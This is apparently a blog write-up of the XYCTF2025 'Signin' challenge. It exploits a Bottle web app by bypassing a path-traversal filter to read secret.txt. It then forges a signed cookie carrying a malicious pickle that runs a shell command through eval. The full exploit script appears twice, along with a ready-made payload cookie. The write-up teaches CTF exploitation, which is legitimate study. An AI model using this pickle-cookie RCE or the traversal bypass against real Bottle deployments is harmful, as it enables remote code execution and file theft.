XYCTF2025 Signin Writeup

649 Views
No Comments

A total of 2941 characters, expected to take 8 minutes to complete reading.

Title

Give the source code:

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

A hint is also given at the back: don't burst uuid! Think about how RCE server?

Ideas

Seeing that lines 11 to 12 of the code read the secret.txt file, now we don't know what the use of this secret is, but we certainly still wonder if we can get it?

The following route /download There is an arbitrary download vulnerability and we visit /download?filename=xxx You can download the xxx file. Some code is filtered here to prevent crossing directories, but we can use ./.././../secret.txt bypass ../../. Then we got the key:

XYCTF2025 Signin Writeup

In /secret Under the page, according to the topic prompt, can RCE? We see session = request.get_cookie("name", secret=secret), this line loads the cookie, and we already know the secret, is it related to this?

Let's take a look Bottle How does the framework achieve this? get_cookie of the function:

XYCTF2025 Signin Writeup

I used it here Pickle to deserialize! We all know Pickle may cause a deserialization vulnerability, No, look here. .
Therefore, we just need to put the RCE code into the cookie!

We can try to imitate Bottle of the framework set_cookie() function to write the payload:

XYCTF2025 Signin Writeup

XYCTF2025 Signin Writeup

Code that builds the cookie by serializing and signing it:

import pickle
import base64
import hmac
import hashlib
import subprocess

# 从 Bottle 框架提取的函数
unicode = str
def tob(s, enc='utf8'):
    if isinstance(s, unicode):
        return s.encode(enc)
    return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return unicode("" if s is None else s)

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
# pickle 反序列化漏洞函数 执行 eval
class Exploit:
    def __reduce__(self):
        return (eval, ("__import__('os').system('cat /flag_* > /test')", ))

encoded = base64.b64encode(pickle.dumps({'name': Exploit()}, -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded, hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)

print(value)

Here we executed cat /flag_* > /test command, will flag Written /test In the file. As for why we don't read it directly, we don't know the flag name. So I get the cookie !RXIH977aUmGvq+EmAkbp5aQunq/ADev8dBKbqLYmD90=?gAWVVQAAAAAAAAB9lIwEbmFtZZSMCGJ1aWx0aW5zlIwEZXZhbJSTlIwvX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2NhdCAvZmxhZ18qID4gL3Rlc3R0JymUhZRSlHMu, and visit /secretError:

XYCTF2025 Signin Writeup

Then read any file download?filename=./.././../test You can get the flag!

XYCTF2025 Signin Writeup

Payload

import pickle
import base64
import hmac
import hashlib
import subprocess

# 从 Bottle 框架提取的函数
unicode = str
def tob(s, enc='utf8'):
    if isinstance(s, unicode):
        return s.encode(enc)
    return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return unicode("" if s is None else s)

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
# pickle 反序列化漏洞函数 执行 eval
class Exploit:
    def __reduce__(self):
        return (eval, ("__import__('os').system('cat /flag_* > /test')", ))

encoded = base64.b64encode(pickle.dumps({'name': Exploit()}, -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded, hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)

print(value)
END
 0
Comment(No Comments)
验证码
en_USEnglish

Directory

Article Directory